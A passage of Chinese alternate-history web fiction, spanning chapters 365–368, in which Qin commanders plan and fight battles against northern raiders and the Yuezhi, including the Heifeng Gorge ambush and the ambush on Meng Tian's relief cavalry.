“其三,”李敢的声音带着一丝绝望,“通往我北地郡,以及连接其他郡县的主要官道、粮道,已被蛮军多股骑兵劫断!”
“我军斥候难以通行,补给更是早已断绝!”
“城中存粮……恐怕支撑不了几日了。”
最后,他指向粗糙的军事地图上一个位置,手指微微颤抖。
“其四,据末将派出的斥候冒死探查,在据此西北约一百五十里的‘野狼原’,发现了蛮军的中军大帐!”
“其营盘连绵,旌旗如林。”
“初步估算,驻扎的主力兵力,恐不下八万之众!”
“这还不算那些分散在外,四处劫掠攻城的部队!”
八万主力!
这个数字如同重锤,狠狠砸在每个人的心头!
刚刚经历血战,兵力折损严重的北地郡,加上赢子夜带来的千余魏武卒和数千骑兵,总兵力也不过万余。
如何能与八万养精蓄锐的蛮军主力抗衡?
魏武卒再强,也终究是血肉之躯,有其极限。
堂内一片死寂,压抑得让人喘不过气。
所有人都看向赢子夜,等待他的决断。
赢子夜手指无意识地敲击着桌面,目光死死盯着地图上那个代表蛮军主力的标记,脑中飞速运转。
硬拼是下下之策,无异于以卵击石。
必须想办法扭转这绝对劣势的兵力对比。
良久,他猛地抬起头,眼中闪过一丝决绝的光芒,开始下达一连串命令,语速快而清晰:
“李敢将军,你负责统筹全局,立刻组织所有能动用的人手,军民一体,全力修复城墙,加固城防!”
“同时清点城中所有存粮、军械、药材,统一调配,优先保障伤兵和守城将士!”
“我们要做好长期坚守的准备!”
李敢精神一振,抱拳领命:“末将领命!”
“定在最短时间内让城池恢复防御!”
“第二!”
赢子夜看向一名负责情报的校尉,“立刻加派所有精锐斥候,分成多路,不惜一切代价,渗透出去,打探高奴、雕阴等求援城池的最新情况!”
“我要知道他们是存是亡,敌军兵力如何!”
“活要见人,死……也要把消息带回来!”
“诺!”
校尉凛然应命。
“第三!”
赢子夜目光转向骑兵将领,“从本公子带来的骑兵中,抽调三千轻骑,由你率领!”
“你们的任务不是决战,而是袭扰!”
“给我像狼一样,盯死那些劫掠我们粮道、官道的蛮军小队!”
“利用速度优势,不断骚扰、偷袭,让他们不得安宁,尽可能打通或维持几条隐秘的补给线!”
“殿下放心!”
“末将定让那些蛮崽子寝食难安!”
骑兵将领眼中闪过嗜血的光芒。
“第四!”
赢子夜沉声道,取过纸张,快速书写,“传令九原蒙恬将军!”
“命其即刻抽调一万黄金火骑兵,轻装简从,以最快速度驰援北地郡!”
“同时,从九原、雁门等尚在掌控的大城中,紧急抽调五万步兵,随后跟进!”
“告诉他,北地郡若失,北疆西线将全线崩溃,让他务必以大局为重!”
“得令!”
传令兵接过命令,转身飞奔而出。
最后,赢子夜眼中闪过一丝冷冽的算计,对赵弋苍低声道:“第五,让我们的人,暗中在难民和可能被蛮军细作接触到的渠道散出消息。”
“就说……朝廷筹集的大批粮草,将于三日后,经由‘黑风峡’运抵北地郡前线。”
赵弋苍立刻会意:“主上是想…引蛇出洞,在黑风峡设伏?”
“不错!”
赢子夜嘴角勾起一抹冰冷的弧度,“蛮军断我粮道,自身补给也必然紧张。”
“得知有大批粮草运送,其主力或许不动,但那些劫掠成性的部族骑兵,定然会像闻到血腥味的鲨鱼一样扑过来!”
“那里地势险要,正是设伏的绝佳之地!”
“若能吃掉他们几支机动兵力,也能大大缓解我们的压力!”
第365章 起兵,迎战大月氏!!!
西域。
大秦与大月氏接壤的边境线。
秦军大营连绵数十里。
黑色的旗帜在炙热的阳光下纹丝不动,如同蛰伏在戈壁上的巨兽。
蒙犽立于中军大帐之外,身披玄甲,面容冷硬如磐石,眺望着远方地平线上那隐约可见,如同黄云般弥漫的大月氏军营。
他刚刚接到斥候回报。
楼兰国“尽心尽力”地传达了大秦的最后通牒。
换来的不是大月氏的妥协,而是其十万主力大军悍然陈兵边境,旌旗招展,刀枪如林,挑衅之意不言而喻!
“哼,给脸不要脸。”
蒙犽冷哼一声,眼中没有丝毫意外,只有冰冷的杀意。
他早就料到,以大月氏在西域称王称霸的性子,绝不会轻易服软,交出所谓的“叛逆”。
楼兰的传话,不过是给了他一个光明正大动兵的借口。
同时,也将大月氏的注意力彻底吸引到了正面战场。
他转身回到帐内,巨大的西域沙盘前,早已站满了披甲执锐,神色肃杀的秦军将领。
“情况诸位都已清楚。”
蒙犽声音不高,却带着金属般的质感,清晰地传入每个人耳中。
“大月氏,冥顽不灵,不仅拒交帝国叛逆,更陈兵十万于边境,意图犯我疆土!”
“此等行径,无异于对大秦宣战!”
他目光如电,扫过众将:“陛下有旨,西域宵小,不服王化,当以雷霆击之!”
“本将军决定,即刻起兵,迎战大月氏!!!”
众将闻言,非但没有惧色,反而个个眼中燃起战火,齐声吼道:“愿随将军破敌!”
蒙犽微微颔首,走到沙盘前,开始部署。
他的手指首先在代表己方大营的位置重重一点,然后向西,划入西域腹地。
“此战,我军兵力共分两部!”
蒙犽语气斩钉截铁,“第一部,由本将军亲率十五万主力,正面迎击大月氏十万大军!”
他顿了顿,手指在沙盘上西域诸国的位置点了点,眼神深邃:“第二部,分出五万精锐,由副将李信统领,秘密穿插,进入西域腹地,于楼兰、龟兹等国交界处的‘死亡之海’边缘蛰伏待命!”
此言一出,众将皆是一愣。
分兵五万深入西域?
那可是诸国林立,情况复杂之地!
一名老成持重的将领忍不住开口:“将军,分兵五万,我军正面兵力优势将大幅缩减。”
“且深入西域,若楼兰等国反复,或大月氏另有伏兵,李信将军所部恐陷入重围,孤立无援啊!”
蒙犽看了那将领一眼,目光冰冷:“正因为西域诸国首鼠两端,才需此棋!”
“大月氏敢来攻,岂会没有后手?”
“焉知西域诸国不会暗中集结兵力,趁我军与大月氏鏖战之际,突袭我军侧后,或断我粮道?”
“将这五万人马置于此地,一为震慑西域,令其不敢妄动!”
“二为奇兵,若战事有变,或可出其不意,直插大月氏后方,或截断其归路!”
他看向一旁沉默寡言,但眼神锐利的李信:“李信将军,你可能担此重任?”
李信踏前一步,抱拳躬身,声音沉稳有力:“末将领命!”
“纵是龙潭虎穴,末将亦率将士们趟出一条血路!”
“定不负将军重托!”
“好!”
蒙犽赞许地点点头,“记住,隐匿行踪,非本将军令,不得暴露!”
“你们的任务,是悬在西域诸国和大月氏头顶的一柄利剑!”
安排完这步暗棋,蒙犽的目光重新回到正面战场。
他的手指在沙盘上代表两军对峙的区域划动着。
“正面十五万对十万,兵力我军占优,但大月氏骑兵彪悍,不可小觑。”
蒙犽冷静分析,“我军部署如下——”
“中军,八万精锐步兵,结成鱼丽之阵,稳步推进!”
“以强弓硬弩为先,盾阵如山,步步为营,正面挤压大月氏军阵!”
“我要你们像磨盘一样,将他们的锐气一点点磨掉!”
他看向一名以沉稳著称的步兵统领。
“末将明白!”
“定让大月氏人见识见识,何为不动如山!”
步兵统领轰然应诺。
“左翼!”
蒙犽手指划向左侧,“三万轻骑,由骁骑都尉统领!”
“你们的任务是,待中军接敌后,利用速度,从左翼迂回,穿插至大月氏军阵侧后,袭击其弓弩手与薄弱环节,搅乱其阵型!”
年轻气盛的骁骑都尉眼中闪过兴奋的光芒,抱拳道:“末将领命!”
“定叫大月氏人首尾不能相顾!”
“右翼!”
蒙犽手指转向右侧,“四万重甲铁骑,由车骑将军杨临统领!”
“你们的任务是,与左翼同步,从右翼发起雷霆冲锋!”
“不必迂回,直接以绝对的力量,凿穿其右翼防线,目标直指大月氏的中军帅旗!”
身材魁梧,如同铁塔般的杨临瓮声瓮气地吼道:“将军放心!”
“末将定率儿郎们,将那大月氏的帅旗,连根拔起!”
“此外!”
蒙犽最后点向沙盘上一处前沿高地,“前锋营,五千死士,由锐士营校尉司马梗统领!”
“尔等任务最重,也最险!”
“提前占据此处高地,构筑工事,作为全军前出支点,吸引敌军第一波攻势,并伺机骚扰,挫其锐气!”
“可能做到?”
司马梗,一个脸上带着刀疤的悍将,闻言咧嘴一笑,露出森白的牙齿:“将军!前锋营只有战死的鬼,没有后退的兵!”
“末将定让大月氏人未战先怯!”
一道道命令清晰明确,将十五万大军的庞大力量,如同臂使指般调动起来!
众将凛然领命,战意高昂!
蒙犽最后环视众人,声音如同出鞘的利剑,带着碾碎一切的决心!
“此战,关乎帝国西域战略,关乎大秦天威!”
“望诸位奋勇杀敌,扬我国威!”
“若有畏敌不前者,临阵脱逃者,本将军认得你,军法认不得你!”
“大秦万胜!!”
众将齐声咆哮,声震营帐。
蒙犽挥手:“各自归营,依令行事!”
“明日拂晓,进军!”
“诺!”
将领们鱼贯而出!
……
翌日。
黎明前的黑暗尚未完全褪去,广袤的戈壁滩上已然肃杀一片!
东方天际刚刚泛起一丝鱼肚白,映照出两支庞大军队森然对垒的轮廓。
大秦军阵,如同一片沉默的黑色海洋。
玄色旗帜在微风中缓缓飘动,士卒们顶盔贯甲,肃立无声,只有兵刃偶尔反射出冰冷的光泽。
阵列分明,前排是如同铜墙铁壁般的重盾兵,其后是如林的长戟兵。
再后是引弓待发的强弩手,两翼则是蓄势待发的骑兵洪流。
整个军阵散发着一种冰冷、严谨,如同精密机关般的压迫感。
而对面,大月氏的军队则呈现出截然不同的风貌。
他们衣着杂乱,多以皮裘为主。
手持弯刀、长矛,骑兵占据了相当比例,战马不安地刨着蹄子。
他们阵型看似松散,却带着一种游牧民族特有的野性和彪悍气息。
士兵们脸上涂着油彩,发出各种怪异的呼哨和嚎叫,试图在气势上压倒对方。
阳光渐渐照亮他们手中那造型奇特的弯刀,反射出森寒的光芒。
中军。
一座临时搭建的高耸楼车之上,蒙犽一身玄甲,迎风而立。
他面容冷峻,目光如同鹰隼般扫过整个战场,将敌我态势尽收眼底。
他手中并未持兵器,只有一面代表统帅权威的令旗。
“咚!”
“咚!”
“咚!”
低沉而雄浑的战鼓声,如同巨兽的心跳,从秦军本阵响起,打破了清晨的寂静!
蒙犽眼神一凝,没有任何犹豫,手中令旗向前猛地一挥!
楼车下的令旗兵看到信号,立刻挥动手中巨大的旗帜,打出旗语!
“前锋营!”
“进占高地,弓弩覆盖!”
命令通过旗语迅速传达。
早已蓄势待发的前锋营死士,在司马梗的率领下,如同离弦之箭,迅速冲向预定的一处前沿戈壁高地,迅速构筑起简易工事!
强弩手居高临下,对着大月氏前军阵地,发出了第一波死亡的问候!
“咻咻咻——!”
密集的弩箭如同飞蝗般落入大月氏阵中,顿时引起一阵骚乱和惨叫。
大月氏人显然没料到秦军一上来就如此咄咄逼人,试图派出骑兵驱散,却被高地弩箭和侧翼秦军骑兵的威慑逼退。
蒙犽面无表情,再次挥动令旗。
“中军!”
“步卒推进!”
“鱼丽阵,起!”
令旗变幻!
位于中军的八万秦军步兵,如同一个整体,开始动了!
最前排的重盾兵将巨大的盾牌狠狠顿在地上,发出整齐的轰鸣,组成一道密不透风的钢铁城墙。
其后长戟如林,从盾牌缝隙中探出,闪烁着寒光。
整个步兵方阵如同一只巨大的钢铁刺猬,迈着沉重而整齐的步伐,如同移动的山岳,向着大月氏军阵缓缓压去!
脚步声响彻原野,带着碾碎一切的意志!
大月氏主将见状,脸色微变,立刻下令前军步兵迎上,同时命令两翼骑兵准备包抄。
然而,蒙犽的指令更快!
“左翼轻骑!”
“迂回穿插,袭扰其右翼后阵!”
“右翼重骑!”
“准备冲锋,目标敌军左翼,凿穿!”
令旗再变!
左翼的三万轻骑,如同决堤的洪水,猛然从本阵侧翼杀出!
第366章 鱼儿,终于上钩了!
与此同时!
右翼杨临怒吼一声,四万身披重甲,人马皆覆铁叶的大秦铁骑,如同黑色的雷霆,开始了冲锋!
他们没有复杂的轨迹,就是一条笔直的死亡线,以排山倒海之势,狠狠撞向了大月氏的左翼骑兵!
重骑冲锋带来的恐怖冲击力,瞬间就将大月氏左翼冲得人仰马翻,阵型大乱!
大月氏主将措手不及!
他没想到秦军的攻势如此凌厉,配合如此默契!
左翼被重骑蹂躏,右翼被轻骑袭扰,阵脚已乱!!
而正面,那只庞大的步兵“刺猬”已经逼近,弩箭从盾阵后不断射出,持续消耗着他的前军。
“快!中军顶住!”
“右翼骑兵回援!”
“拦住那些秦人轻骑!”
大月氏主将焦急地嘶吼着,试图调整部署。
但蒙犽岂会给他机会?
“强弩车!目标敌军中军前列,三轮齐射!”
“战车营!”
“左翼突进,配合轻骑扩大战果!”
令旗如同拥有生命般舞动!
位于步兵方阵后方的数十架床弩发出了沉闷的咆哮!
儿臂粗细的巨型弩箭,带着撕裂空气的尖啸,如同来自地狱的标枪,狠狠扎入大月氏中军前列!
无论是盾牌还是人体,在这恐怖的力量面前都如同纸糊一般,瞬间被洞穿、撕裂!
中军前列顿时一片人仰马翻!
同时,数百辆轻型战车从秦军左翼突出。
车轮滚滚,刀锋闪烁,如同灵活的毒蛇,配合着轻骑,进一步在大月氏右翼撕开裂口,制造更大的混乱!
大月氏的军队虽然彪悍,但何曾见过如此多层次,多兵种紧密配合,如同狂风暴雨般的立体打击?
他们的阵型被彻底打乱!
指挥系统近乎瘫痪!
士兵们各自为战,陷入了极大的被动。
眼看着左翼即将被重骑彻底凿穿,右翼被搅得天翻地覆,中军又被步兵和弩箭死死压制,伤亡数字急剧上升!
大月氏主将终于意识到。
远处那个年轻的秦将,用兵如鬼,绝非易与之辈!!!
再打下去,不过是浪费兵力……
而且,该收的时候,自然要收!
他眼底闪过一抹阴鸷,猛地吐出一个字:“撤!全军撤退!”
“快!”
呜咽的退兵号角声在大月氏军中响起,残存的部队如同潮水般向后溃退,丢下了满地的尸体和伤员。
楼车之上,蒙犽看着溃退的敌军,脸上依旧没有任何表情。
他缓缓举起令旗,下达了最后的指令:“鸣金收兵!”
“各军归建,原地休整,救治伤员,清点战损。”
“不得追击。”
“铛铛铛——”
清脆的鸣金声响起。
汹涌出击的秦军各部队,如同潮水般井然有序地退回本阵,迅速重整队形。
动作干脆利落,丝毫没有因为胜利而骄躁混乱。
戈壁滩上,只留下了大月氏人的尸体和狼藉,以及空气中浓郁的血腥味……
……
北地郡。
残破的城守府内,连日的紧张气氛因一条斥候送来的密报而骤然提升。
赢子夜仔细阅读着手中皱巴巴的绢布,上面清晰地写着:
一支约两千余人的戎族骑兵,已脱离蛮军主力,正悄然向黑风峡方向移动,预计一日后抵达。
赢子夜放下密报,眼中闪过一丝冷冽的寒芒。
鱼儿,果然上钩了!
他散布出去的假粮草消息,成功吸引了这些贪婪的掠食者。
“看来,蛮军主力虽然谨慎未动,但这些附庸部落,却忍不住想先分一杯羹了。”
赢子夜声音平静,却带着一股肃杀之意。
“两千骑兵……胃口不小,但也得看有没有这么好的牙口!”
他立刻召集麾下将领。
李敢、魏武卒的几名统领,以及负责骑兵的将领迅速赶到。
“情况有变。”
赢子夜开门见山,将密报内容告知众人。
“有两千戎族骑兵,正奔黑风峡而去。”
“我们的‘诱饵’起效了。”
众将闻言,精神都是一振!
连日来的坚守和压抑,终于等到了主动出击的机会!
“殿下,末将请命!率本部骑兵,前往黑风峡,定叫这些蛮子有来无回!”
那位骑兵将领迫不及待地抱拳请战。
赢子夜却摇了摇头。
“不,黑风峡地势险要,两侧山高林密,正是设伏的绝佳之地。”
“用骑兵在峡谷内与敌缠斗,是弃长用短。”
他走到粗糙的军事地图前,手指点着黑风峡的入口和两侧山岭。
“我们要打,就要打一场漂亮的歼灭战!”
“不仅要吃掉这两千人,还要打得干净利落,不能放跑一个,以免打草惊蛇,让蛮军主力察觉我们的意图!”
他目光扫过众人,开始下达命令,语速快而清晰:
“李敢将军!你从城中守军和本公子带来的步卒中,挑选一千五百名最精锐的弓弩手,由你亲自率领,提前秘密进入黑风峡两侧的山林之中,占据制高点!”
“多备火箭、滚木礌石!”
“你们的任务,是待敌军全部进入峡谷后,立刻封锁出口,并以弓弩覆盖峡谷,制造混乱,大量杀伤其有生力量!”
李敢独臂重重捶胸,嘶声道:
“末将领命!定让峡谷变成那些蛮子的葬身之地!”
“魏武卒!”
赢子夜看向那几名气息彪悍的统领。
“抽调五百精锐,由你等率领,埋伏于峡谷中段最为狭窄之处!”
“一旦敌军前锋经过,被弓弩阻击,阵型大乱之际,尔等立刻杀出,截断其队伍,将他们分割包围!”
“记住,你们的任务是搅乱、分割,制造更大的恐慌!”
魏武卒统领们眼中闪烁着嗜血的光芒,齐声低吼!
“魏武荣光!必不辱命!”
“至于骑兵!”
赢子夜最后看向骑兵将领。
“你率领两千轻骑,不在峡谷内作战。”
“你们的任务是在黑风峡出口外五里处隐蔽待命!”
“一旦峡谷内战斗打响,溃逃出来的零星残敌,就交给你们了!”
“务求全歼,不放走一人!”
“末将明白!定让那些漏网之鱼,尽数毙于马蹄之下!”
骑兵将领兴奋地领命。
“行动务必隐秘!”
赢子夜最后强调。
“所有人马,今夜子时之后,分批出发,人衔枚,马裹蹄,绝不能暴露行踪!”
“抵达埋伏地点后,严密伪装,静待敌军入瓮!”
“诺!”
众将齐声应命,眼中充满了对战斗的渴望和必胜的信心!
……
是夜,北地郡悄然行动。
一千五百名弓弩手在李敢的带领下,如同幽灵般融入夜色,向着黑风峡两侧的山岭潜行。
五百魏武卒精锐,则如同暗夜中的磐石,沉默地进入峡谷中段预设的埋伏点。
两千轻骑也在夜色掩护下,绕行至峡谷出口外,隐匿起来。
整个黑风峡,在黎明到来前,已然变成了一张巨大、无声的死亡之网。
翌日,午后。
烈日炙烤着戈壁,一支两千人左右的戎族骑兵,带着劫掠的兴奋和一丝疲惫,出现在了黑风峡的入口。
他们队伍松散,并未派出足够的斥候探查两侧山岭,显然认为这只是一次轻松的“接收”任务。
为首的戎族千夫长,看着前方幽深险峻的峡谷,咧开大嘴笑了笑,挥舞着弯刀。
“儿郎们!秦狗的粮草就在前面!冲进去,抢光它们!”
“嗷呜——!”
戎族骑兵们发出兴奋的狼嚎,催动战马,一头扎进了黑风峡。
峡谷内光线昏暗,两侧崖壁高耸。
当两千骑兵大部分都涌入峡谷,队伍拉得老长时——
“咻——!”
一支响箭带着凄厉的尖啸,猛地从左侧山巅射出,划破长空!
这是攻击的信号!
“放箭!!”
李敢独臂挥舞,嘶声怒吼!
“咻咻咻——!”
刹那间,黑风峡两侧的山林之中,如同凭空变出了无数秦军弩手!
密集的箭矢如同暴雨般倾泻而下,其中还夹杂着无数点燃的火箭!
“敌袭!有埋伏!”
“快举盾!”
戎族骑兵瞬间大乱!
箭矢穿透皮甲,射入人体,战马悲鸣着倒地!
火箭引燃了干燥的灌木和骑兵的衣物,峡谷内顿时浓烟滚滚,火光四起!
队伍前后被落下的滚木礌石阻塞,进退不得!
“杀——!”
就在戎族骑兵陷入极度混乱之际。
峡谷中段,一声如同惊雷般的战吼炸响!!
五百名身披重甲,如同钢铁堡垒般的魏武卒,从预设的隐蔽处猛然杀出!
他们如同虎入羊群,重剑战斧挥舞,专门攻击那些试图组织抵抗的戎族军官和聚集在一起的士兵!
本就混乱的戎族队伍,被这支生力军硬生生截断、分割,陷入了各自为战的绝境!
战斗变成了一场单方面的屠杀!!
只见峡谷内,箭雨不断,火焰蔓延,魏武卒肆意砍杀。
第367章 围点打援!
北地郡城头,寒风凛冽。
赢子夜听着麾下将领详细禀报黑风峡伏击的战果——
两千戎族骑兵全军覆没,己方伤亡微乎其微。
他脸上并无太多喜色。
只是微微颔首,表示知晓。
这场胜利在意料之中,并不能改变北疆整体糜烂的大局。
他缓步沿着城墙巡视。
经过数日军民日夜不停的抢修,破损的城墙已被勉强填补。
虽然依旧显得残破,但至少恢复了基本的防御功能。
守军士卒们倚着垛口休息,脸上带着疲惫,却也多了一丝劫后余生的坚毅。
然而,赢子夜的心头却笼罩着一层疑云。
自从上次那一战后,城外那八万蛮军主力便彻底沉寂下来,除了偶尔派出小股骑兵进行无关痛痒的袭扰外,再无任何大规模进攻的迹象。
这太反常了!
他也曾多次派遣精锐斥候,冒着生命危险深入敌后探查,得到的回报却是一致的。
蛮军主力并未分兵,依旧牢牢驻扎在野狼原大营,仿佛在……等待着什么。
“围而不攻,偶作袭扰……”
赢子夜手指无意识地敲击着冰冷的墙砖,目光锐利地望向远方蛮军大营的方向,眉头紧锁。
“他们是在休整?”
“不,八万大军每日人吃马嚼,消耗巨大,拖延对他们并无好处。”
“那他们是在等什么?”
一个念头如同闪电般划过他的脑海。
“围点打援?!”
是了!
蛮军主帅恐怕打的正是这个主意!
他们以八万大军围困北地郡这座战略要地,却引而不发。
真正的目标,恐怕是正在驰援而来的蒙恬所部黄金火骑兵以及王贲那五万步兵!
他们想以逸待劳,在半途或者北地郡城外,将来援的秦军主力一举歼灭!
届时,北地郡孤城一座,不攻自破!
想通了这一点,赢子夜背后惊出一身冷汗!
若真如此,蒙恬所部危矣!
北地郡亦将彻底成为死地!
就在他心绪翻涌,苦思破局之策时,两名传令兵几乎同时带来了消息。
“报——!万世书院派遣的机关术弟子,已抵达城外!”
“报——!此前派往各城的斥候返回,据其探查,高奴、雕阴等七座求援城池……已确认被攻破!”
“守军……全军覆没!”
“仅余陇城、肤施等三城尚在苦苦支撑,但城防破损严重,兵力匮乏,陷落……恐怕也就在这三五日之间!”
第一个消息让赢子夜眼中闪过一丝亮光。
而第二个消息,则让他的脸色瞬间阴沉到了极点!
又丢了七座城!
北疆西线的防御体系正在以惊人的速度崩塌!
不能再等了!
必须主动出击,打破这个僵局。
也为那些尚在坚守的城池争取一线生机!
“传令!将所有抵达的万世书院弟子,即刻引往城中校场!”
赢子夜毫不犹豫地下令,随即转身,大步流星地走向校场方向。
当他赶到校场时,只见数百名穿着万世书院特有青灰色学袍,年纪大多在二十上下的年轻人。
正有些好奇又带着些许紧张地聚集在那里。
他们身上没有军人的肃杀之气,却带着一种钻研学问者的专注与灵性。
除了他们,校场上还有数十名早已在此等候的,气质更为沉稳老练的机关术弟子。
他们是之前就随军而来的。
赢子夜走上点将台,目光扫过台下这近千张年轻而充满朝气的面孔。
他没有废话,直接指向身后那幅标注着无数沦陷和危城标记的北疆地图,声音沉痛而激昂。
“诸位学子!你们看到了吗?”
“这地图之上,每一点沦陷的标记,都意味着我大秦一座城池的毁灭,意味着成千上万同胞的鲜血与尸骨!”
“北疆告急,山河泣血!”
他的声音陡然提高,带着一种不容置疑的决绝。
“而你们,身负机关奇术,学究天人!”
“今日,已不再是埋头书斋,钻研图纸之时!”
“你们的所学,你们的智慧,当用于沙场,用于保家卫国,用于拯救这万千黎民于水火!”
“这里,这北地郡,这整个北疆,便是你们最好的学堂,是你们建功立业,名垂青史的战场!”
这番话,如同投入平静湖面的巨石,瞬间在学子们心中激起了滔天巨浪!
他们看着赢子夜身后那惨烈的地图,听着他那充满感染力的话语,年轻的热血瞬间被点燃!
恐惧和紧张被一种前所未有的使命感与豪情所取代!
“愿为殿下效死!”
“愿以所学,卫我河山!”
学子们纷纷激动地呐喊起来,眼神中充满了炽热的光芒。
“好!”
赢子夜要的就是这股气势。
“现在,听我号令!”
他迅速下达部署,语速快如疾风:
“所有机关术弟子,混合编组!以三百人为一队!”
“每队配属五百精锐骑兵,组成特遣驰援分队!”
他手指点向地图上那三个尚在坚守的城池。
“你们的任务,就是火速驰援陇城、肤施!”
“抵达之后,不必与敌军主力硬拼,首要任务是利用你们的机关术——”
“无论是防守器械,陷阱布置,还是奇门手段,协助守军稳固城防,拖延时间,等待主力援军!”
他目光锐利地看着台下。
“记住!你们带去的不仅是兵力,更是希望,是扭转战局的可能!”
“我要你们用你们的智慧,让那些蛮子见识见识,我华夏技艺之威!”
“诺!!”
近千名机关术弟子与在场的骑兵将领齐声领命,声震校场。
没有过多的休整。
一支支由机关术弟子和精锐骑兵组成的特遣队,带着崭新的使命和昂扬的斗志,如同离弦之箭,迅速冲出北地郡。
分头扎向了那三座在风雨飘摇中苦苦支撑的孤城。
赢子夜站在城头,目送着他们离去。
他知道,这是在蛮军主力这头巨兽反应过来之前,所能打出的最后几张牌了。
成败,在此一举!
……
与此同时。
北地郡西北方向。
一片名为“赤狼戈壁”的荒芜之地。
风卷着沙砾,打在玄甲上发出噼啪轻响。
蒙恬率领着一万黄金火骑兵,如同一条燃烧的黑色河流,在广袤的戈壁上疾驰。
战马喷吐着白气,铁蹄踏碎砾石,速度极快,目标直指岌岌可危的北地郡。
蒙恬端坐于战马之上,虽失去右臂,身形依旧挺拔如松。
他那条新接上的机关臂被玄色护腕覆盖,隐约可见金属的冷硬轮廓,关节处似乎有微弱的红光在铠甲缝隙间流转。
他面色冷峻,目光如鹰隼般扫视着前方看似平静,实则暗藏杀机的戈壁。
多年的沙场经验让他嗅到了一丝不寻常的气息。
“传令,前军斥候扩大探查范围,左右两翼加强警戒。”
蒙恬沉声下令,声音透过面甲,带着金属的质感。
“诺!”
传令兵刚要领命而去。
异变陡生!
“呜嗷——!”
凄厉的胡哨声猛地从两侧低矮的沙丘后响起!
紧接着,如同鬼魅般,无数身影从沙丘后,从干涸的河床下涌出!
“咻咻咻——!”
密集的箭矢如同骤雨般,从两侧居高临下地射向正在行军的黄金火骑兵!
箭簇破空的声音瞬间掩盖了风声!
“敌袭!结阵!举盾!”
蒙恬临危不乱,声如洪钟,瞬间压下了最初的骚动。
训练有素的黄金火骑兵展现出极高的素质。
外围的骑兵迅速举起骑盾,护住自身和内侧同袍。
整个行军队伍如同受惊的刺猬,瞬间收缩,组成圆阵防御!!
即便如此,在第一波猝不及防的箭雨下,仍有数十骑惨叫着落马。
箭雨稍歇。
沙丘后方,黑压压的蛮族骑兵如同决堤的洪水般冲杀出来。
人数粗略看去,竟不下万人!
他们挥舞着弯刀,发出野性的嚎叫,直扑秦军两翼!
与此同时,正前方的戈壁滩上,也出现了数千名下马的蛮族弓弩手,正张弓搭箭,进行第二轮覆盖射击!
前后左右,皆有伏兵!
总数至少一万五千人!
这是一场精心策划的埋伏!
“果然来了!”
蒙恬眼中寒光爆射,非但没有惧色,反而战意升腾。
“想吞掉我黄金火骑兵?就看你们有没有这么好的胃口!”
“全军听令!”
蒙恬举起完好的左臂,机关右臂自然垂于身侧,仿佛与身体浑然一体。
“变锋矢阵!前军突击,冲破正面弓弩阵!”
“两翼骑兵,随我迎击侧翼敌骑!”
“中军弓骑,仰角抛射,压制两侧沙丘敌军!”
命令迅速被执行。
黑色的骑兵洪流迅速变阵,如同一支巨大的箭矢,朝着正前方的蛮族弓弩手阵地发起了狂暴的冲锋!
同时。
左右两翼的骑兵在各自校尉的率领下,如同展开的双翼,悍然迎向了冲杀而来的蛮族骑兵!
第368章 援军无望!
谁料,蒙恬却是不闪不避,眼中闪过一丝冷嘲。
就在狼牙棒即将临头的刹那,他那条机关右臂如同拥有生命般,五指猛地张开!
不再是血肉手掌,而是闪烁着寒光的金属构装!
手臂内部传来一阵低沉的机括运转声,隐隐有赤红光芒从关节处透出!
“铛——!!!”
一声震耳欲聋,完全不似金铁碰撞的巨响炸开!
蒙恬的机关手臂,竟然后发先至,精准无比地一把抓住了那势沉力猛的狼牙棒!
巨大的冲击力让他的战马都嘶鸣着后退了半步,但他手臂纹丝不动!
那精铁打造的狼牙棒,被他五指死死攥住,任凭那蛮族千夫长如何怒吼发力,竟无法撼动分毫!
那千夫长脸上露出了见鬼般的惊恐表情!
蒙恬冷哼一声,机关手臂猛然发力一拧!
“咔嚓!”
令人牙酸的金属扭曲声响起!
那柄狼牙棒的精铁长柄,竟被他硬生生徒手拧成了麻花状!
紧接着。
蒙恬手臂一振,将那扭曲的狼牙棒连同惊骇欲绝的千夫长,如同甩破烂一般,狠狠抡了起来,砸向了旁边几名试图靠近的蛮族骑兵!
“嘭!嘭!嘭!”
惨叫声中。
那名千夫长和几名蛮族骑兵如同被投石机抛出的石块,被砸得筋断骨折,倒飞出去,瞬间清空了一小片区域!
这一幕,不仅惊呆了周围的蛮族士兵,连秦军将士也都看得热血沸腾,士气大振!
“将军神威!”
蒙恬一击得手,毫不停留,机关手臂或拳或掌,或抓或砸,根本不需要兵器!
每一次挥动,都带着恐怖的力量和速度,寻常蛮族士兵的弯刀砍在手臂上,只能迸溅出几点火星,连痕迹都留不下!
而被他手臂碰到的敌人,无不是骨断筋折,倒毙当场!
如同一个拥有无穷怪力的战神,在敌阵中左冲右突,所向披靡!
然而,敌军数量毕竟占据优势,且埋伏已久,准备充分。
秦军虽然精锐,在初期稳住阵脚后,依旧陷入了苦战。
双方骑兵在戈壁上惨烈绞杀。
箭矢在空中交错飞舞,每时每刻都有人坠马身亡。
鲜血染红了沙砾,战斗从一开始就进入了白热化!
蒙恬挥舞着机关臂,将一名试图偷袭的蛮族百夫长连人带马掀翻,目光扫过整个混乱的战场,眉头紧锁。
敌军抵抗之顽强,远超预期。
这绝不仅仅是普通的伏击!
……
几乎就在蒙恬的黄金火骑兵于赤狼戈壁遭遇伏击的同时。
另一支奉命驰援北地郡的秦军,也踏入了陷阱。
这支由王贲麾下裨将苏角率领的五万步骑混合大军,正沿着一条较为宽阔的官道急速行军。
与蒙恬选择的戈壁路径不同。
苏角选择这条路的目的是为了更快地运送部分急需的守城器械和粮草。
官道两侧是连绵的土山和干涸的河谷。
地势虽不如峡谷险峻,却也足以藏兵。
苏角是一名经验丰富的老将,他并非没有警惕。
前军斥候放出了十里,两翼也有游骑警戒。
然而,他面对的,是蛮军精心为他准备的另一张大网。
当大军前锋完全进入一段两侧土山最为陡峭,官道变得狭窄的区域时,灾难骤然降临!
没有号角,没有战鼓,只有一声尖锐的如同鹰隮般的唿哨划破长空!
“轰隆隆——!”
两侧土山之上,无数巨大的滚木、礌石如同山崩一般被推下!
这些滚木礌石并非随意投放,而是精准地砸向官道上队伍最密集,尤其是装载着器械和粮草的中后段!
“小心!山上有人!”
“快散开!”
秦军队伍瞬间大乱!
沉重的滚木礌石带着雷霆万钧之势砸落。
无论是人是马,还是那些宝贵的器械车辆,在绝对的力量面前都如同纸糊一般,瞬间被碾碎、砸烂!
惨叫声、马匹的悲鸣、木材断裂的咔嚓声瞬间响成一片!
官道之上,顷刻间化为一片狼藉的血肉地狱!
“不要乱!结阵防御!盾牌手上前!”
苏角目眦欲裂,声嘶力竭地大吼,试图稳住阵脚。
然而,攻击才刚刚开始!
